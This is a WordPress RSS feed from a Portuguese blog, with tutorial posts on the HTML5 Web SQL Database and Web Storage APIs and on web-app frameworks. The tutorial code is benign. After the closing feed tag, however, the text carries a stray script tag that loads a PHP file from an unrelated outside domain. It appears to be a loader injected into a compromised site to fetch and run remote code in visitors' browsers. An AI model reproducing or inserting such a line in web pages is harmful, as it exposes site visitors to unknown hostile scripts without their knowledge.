<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; WebApp</title>
	<atom:link href="http://marcos.blog.br/category/webapp/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Usando a API &#8220;Web SQL Database&#8221; do HTML 5</title>
		<link>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 03:16:57 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[WebApp]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Web SQL Database]]></category>
		<category><![CDATA[Web Storage]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=245</guid>
		<description><![CDATA[Como vimos no artigo anterior, uma das novidades do HTML 5 é o Web SQL Database, que permite utilizar SQL para armazenar dados no lado do cliente através do SQLite. Vamos ver o seu funcionamento passo-a-passo a seguir: Abrindo uma Conexão var db = openDatabase('CONTATOS', '0.1', 'Lista de contatos', 200000); O código acima cria um ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/" target="_self">Como vimos no artigo anterior</a>, uma das novidades do HTML 5 é o <strong>Web SQL Database</strong>, que permite utilizar <strong>SQL para armazenar dados no lado do cliente através do SQLite</strong>. Vamos ver o seu funcionamento passo-a-passo a seguir:<br />
<br/></p>
<h2>Abrindo uma Conexão</h2>
<pre class="brush:javascript">
var db = openDatabase('CONTATOS', '0.1', 'Lista de contatos', 200000);
</pre>
<p>O código acima cria um <strong>objeto de banco de dados &#8220;db&#8221;</strong> com 4 argumentos:</p>
<p>1. Nome do banco de dados;<br />
2. Versão;<br />
3. Descrição;<br />
4. Tamanho estimado da base de dados.</p>
<p><strong>Não se preocupe com o tamanho da base de dados pois ela é flexível</strong>. Aparentemente ao exceder o tamanho o navegador mostrará ao usuário uma janela pedindo autorização para expandir o espaço.</p>
<p>Para testar se a conexão foi criada com sucesso, basta verificar se &#8220;db&#8221; é nulo:</p>
<pre class="brush:javascript">

if (! db) alert (&quot;Falha ao conectar no banco de dados.&quot;);
</pre>
<p><strong>É muito importante fazer este teste de conexão</strong> antes de qualquer outro código pois existem várias razões pela qual o navegador poderá negar acesso ao banco, como por exemplo por questões de segurança e espaço.<br />
<br/></p>
<h2>Criando uma Tabela</h2>
<pre class="brush:javascript">

db.transaction(function (tx) {
        tx.executeSql('CREATE TABLE IF NOT EXISTS contatos (id INTEGER PRIMARY  KEY AUTOINCREMENT, nome VARCHAR, tel INTEGER)');
});
</pre>
<p><em>(Para  saber os <strong>Datatypes do SQLite</strong> visite a página <a  href="http://www.sqlite.org/datatype3.html" target="_blank">Datatypes In SQLite Version 3</a>.)</em><br />
<br/></p>
<h2>Executando Consultas</h2>
<p>O bacana desta API é que ela<strong> trata as operações como transações</strong>. Com transações é possível <strong>reverter as operações em caso de erro</strong>. <strong>Cada transação pode conter várias SQL</strong> e caso alguma apresente falha, nada é alterado no banco, preservando sua consistência.</p>
<p>Há também <strong><em>erro</em></strong> e <em><strong>callbacks</strong> de sucesso</em> na transação, assim você pode gerenciar os erros, mas é importante entender que as operações têm a capacidade de reverter as mudanças.</p>
<p><strong>Transação é uma simples função que contém os códigos SQL</strong>:</p>
<pre class="brush:javascript">

db.transaction(function (tx) {
        // Aqui acontece a mágina com a SQL utilizando o objeto &quot;tx&quot; que foi passado por parâmetro
});
</pre>
<p>Para ficar mais claro, vamos a alguns exemplos:<br />
<br/></p>
<h2>Inserindo um Registro</h2>
<pre class="brush:javascript">

db.transaction(function(tx) {
        tx.executeSql('INSERT INTO contatos (nome, tel) VALUES (?,?)', ['Marcos', '2222-3333'], null, function(tx, e) {
                // caso ocorra algum erro
                alert(e.message);
        });
});
</pre>
<p><br/></p>
<h2>Lendo os Registros</h2>
<pre class="brush:javascript">

// busca os contatos do banco
db.transaction(function (tx) {
        tx.executeSql('SELECT * FROM contatos', [], function (tx, resultado) {
                for (i = 0; i &amp;amp;lt; resultado.rows.length; i++)
                        alert(resultado.rows.item(i)['nome']);
        });
});
</pre>
<p><br/></p>
<h2>Exemplo Funcional</h2>
<p><strong>Atenção, verifique se o seu navegador tem suporte a Web SQL Database antes de clicar no exemplo.</strong></p>
<p><strong><a  href="http://marcos.blog.br/exemplos/web-sql-storage/exemplo-html5-web-sql-storage.html" target="_blank">Simples Exemplo de uso do HTML Web SQL Storage.</a></strong></p>
<p><strong>Gostou? Deixe um comentário!</strong></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML 5, Web Storage e Web SQL Database</title>
		<link>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/</link>
		<comments>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 23:36:26 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[WebApp]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Web SQL Database]]></category>
		<category><![CDATA[Web Storage]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=187</guid>
		<description><![CDATA[Ouvimos e lemos todos os dias sobre as funcionalidades do HTML5 e suas benfeitorias para um design mais interativo e eficiente, porém existe uma novidade que ainda foi pouco comentada não diz respeito a layout especificamente. Web Storage O Web Storage (ou DOM Storage) é uma API que permite gravar dados no lado do cliente. ]]></description>
			<content:encoded><![CDATA[<p>Ouvimos e lemos todos os dias sobre as funcionalidades do<strong> HTML5</strong> e suas benfeitorias para um design mais interativo e eficiente, porém existe uma novidade que ainda foi pouco comentada não diz respeito a layout especificamente.</p>
<h2>Web Storage</h2>
<p>O <strong><a  href="http://dev.w3.org/html5/webstorage/" target="_blank">Web Storage</a></strong> (ou <strong>DOM Storage</strong>) é uma API que permite gravar dados no lado do cliente. Provavelmente no futuro ela será responsável pela extinção do Cookie.</p>
<p>Suas vantagens são grandes em relação ao Cookie, a começar pela <strong>capacidade de armazenamento de dados</strong>, que varia de navegador para navegador mas mantém uma média de 5mb por domínio, outra vantagem é que ao contrário do cookie ele <strong>não tem data para expirar</strong>, isso acontece somente por questões de espaço e falha de segurança. Um detalhe interessante, é que os dados não são transitados a cada requisição de página com o servidor, como faz o cookie.</p>
<p>Para quem quiser testar a API Web Storage:</p>
<p>Para definir uma variável:</p>
<pre class="brush:javascript">

sessionStorage.setItem('chave','valor');
</pre>
<p>e para resgata-la:</p>
<pre class="brush:javascript">

sessionStorage.getItem('chave');
</pre>
<p>No entanto, o <strong>Web Storage</strong> continua sendo uma forma simples de armazenamento de dados chave/valor, o que não resolve o problema de aplicações que desejam funcionar de maneira <strong>Offline</strong> como farí­amos com o <strong>extinto Google Gears</strong>.</p>
<h2>Web SQL Database</h2>
<p>Para um armazenamento <strong>mais elaborado e de forma estruturada</strong>, o W3C criou <a  href="http://dev.w3.org/html5/webdatabase" target="_blank"><strong>Web SQL Database</strong>.</a> Este é o cara que faz a revolução no armazenamento de dados no lado do cliente.</p>
<p>Como parte do <strong>HTML 5</strong>, o <strong>W3C</strong> está trabalhando em um rascunho do <strong>Web SQL Database  API</strong>, uma especificação que abrange armazenar e acessar dados através de <strong>SQL</strong>. A especificação da linguagem SQL que é descrito na documentação é o de SQLite 3.6.19.</p>
<p>Esta API permite que as páginas da web interajam com um banco de dados incorporado no cliente, o que é útil para aplicações que desejam <strong>armazenar dados localmente ou para navegação offline</strong>.</p>
<p>Infelizmente nem todas as versões novas de navegadores implementaram esta API:</p>
<ul>
<li>Internet Explorer 8.0 –<span style="color: #993300;">Não Suporta</span></li>
<li>Firefox 3.6.3 –<span style="color: #993300;">Não Suport</span><span style="color: #993300;">a</span></li>
<li>Chrome 5.0 – <span style="color: #0000ff;">Suporta</span> (acho que desde a versão 4)</li>
<li>Safari 5.0 –<span style="color: #0000ff;">Suporta</span></li>
</ul>
<p>Por ser um pouco maior, (<span style="text-decoration: line-through;">vou colocar</span>) coloquei o <a  href="http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/" target="_self">exemplo de utilização desta API no próximo artigo</a>.</p>
<p>Queria saber a opinião das pessoas que leem este blog se tem ideias ou projetos em mente para utilização de recursos offline.<br />
Então comente abaixo!</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aplicativos Web</title>
		<link>http://marcos.blog.br/2009/09/aplicativos-web/</link>
		<comments>http://marcos.blog.br/2009/09/aplicativos-web/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 21:20:32 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[WebApp]]></category>
		<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=10</guid>
		<description><![CDATA[A tendência mundial de Cloud Computing está se firmando a cada dia. Novos aplicativos plataforma web são lançados diariamente e nas mais diversas áreas]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-16 alignleft" title="cloud computing" src="http://marcos.blog.br/wp-content/uploads/2009/09/cloud-computing-kitchen-sink-300x214.jpg" alt="Cloud Computing" width="300" height="214" /></p>
<p>A tendência mundial de <a  href="http://pt.wikipedia.org/wiki/Computa%C3%A7%C3%A3o_em_nuvem" target="_blank">Cloud Computing</a> está se firmando a cada dia. Novos aplicativos plataforma web são lançados diariamente e nas mais diversas áreas.</p>
<p>Muita coisa boa vem sendo feita. Hoje praticamente para tudo que você precisar, você vai encontrar um aplicativo na web, desde um controle financeiro pessoal a gráficos na versão online do <a  href="https://www.photoshop.com" target="_blank">Photoshop</a>.</p>
<p>Essa tendência de aplicativos nas nuvens não é por acaso, as tecnologias web (principalmente de interface) vem tendo uma evolução muito grande nos últimos tempos. Os navegadores estão alterando seus <a  href="https://wiki.mozilla.org/JavaScript:TraceMonkey" target="_blank">compiladores JavaScript</a> para que eles se  tornem mais rápidos e confiáveis, os avanços do <a  href="http://dev.w3.org/html5/spec/Overview.html">HTML5</a>, <a  href="http://www.w3.org/TR/css3-roadmap/" target="_blank">CSS3</a>, e é claro não podemos deixar de lembrar na convergência para o uso de <a  href="http://www.w3c.br/" target="_blank">padrões web</a> que a cada dia que passa ganha mais força.</p>
<p>O uso de Frameworks sem dúvida alguma é algo que realmente enriquece a aplicação. Hoje o <a  href="http://jquery.com/" target="_blank">jQuery</a> tem <a  href="http://plugins.jquery.com/" target="_blank">plugins</a> para praticamente qualquer coisa que você precise,  com a vantagem de um código cross-browser, organizado e de fácil personalização (ao contrário das ferramentas do Visual Studio .Net da Microsoft).</p>
<p>Outro framework que tenho utilizado para algumas aplicações web é o <a  href="http://www.extjs.com/" target="_blank">ExtJS</a>, que está em sua terceira versão do Framework Javascript, e na minha opinião é o que tem elementos de interfaces mais ricas que as demais. Outra coisa que se destaca é a facilidade com que se cria elementos complexos como grid, menu e formulários. Já tem disponível desde a versão 2.0 a tradução para o português para calendário e outros elementos básicos. Outra vantagem é a facilidade de se abstrair o banco de dados podendo trabalhar com XML e Json. Vale lembrar que o ExtJS está licensiado pela <a  href="http://www.opensource.org/licenses/gpl-3.0.html" target="_blank">GPL v3.0</a> e para uso comercial deve-se adquirir a <a  href="http://www.extjs.com/company/dual.php" target="_blank">licença</a>.</p>
<p>Por último e não menos importante, vale ressaltar um grande avanço que está engatinhando e vem sendo impulsionado principalmente pelo Google que é o suporte offline de aplicações web. Isso vem sendo testado através do aplicativo <a  href="http://gears.google.com/" target="_blank">Google Gears</a>, que está em versão beta mas já trás módulos funcionais como:</p>
<ul>
<li><a  href="http://code.google.com/intl/pt-BR/apis/gears/api_localserver.html">LocalServer</a> Recursos de aplicativo de armazenamento em cache e servidor local (HTML, JavaScript, imagens etc.);</li>
<li><a  href="http://code.google.com/intl/pt-BR/apis/gears/api_database.html">Banco de dados</a> Armazenamento local de dados em um banco de dados relacional que pode ser totalmente pesquisado;</li>
<li> <a  href="http://code.google.com/intl/pt-BR/apis/gears/api_workerpool.html">WorkerPool</a> Seus aplicativos de web ficam com maior capacidade de resposta, executando de forma assíncrona as operações com uso intenso de recursos.</li>
</ul>
<p>A versão 0.4 trouxe ainda Geolocation, Acesso a arquivos da máquina, dentre outras coisas. Vale lembrar que o Gears já vem instalado por padrão no Chrome, mas pode ser instalado no Firefox, IE e Safari (windows, linux e Mac).</p>
<p>O Google Gears realmente abre um caminho fantástico para aplicativos que requerem uma dependência mais crítica. Mais informações estão disponíveis no site do <a  href="http://code.google.com/intl/pt-BR/apis/gears/" target="_blank">desenvolvedor da API</a>.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/aplicativos-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>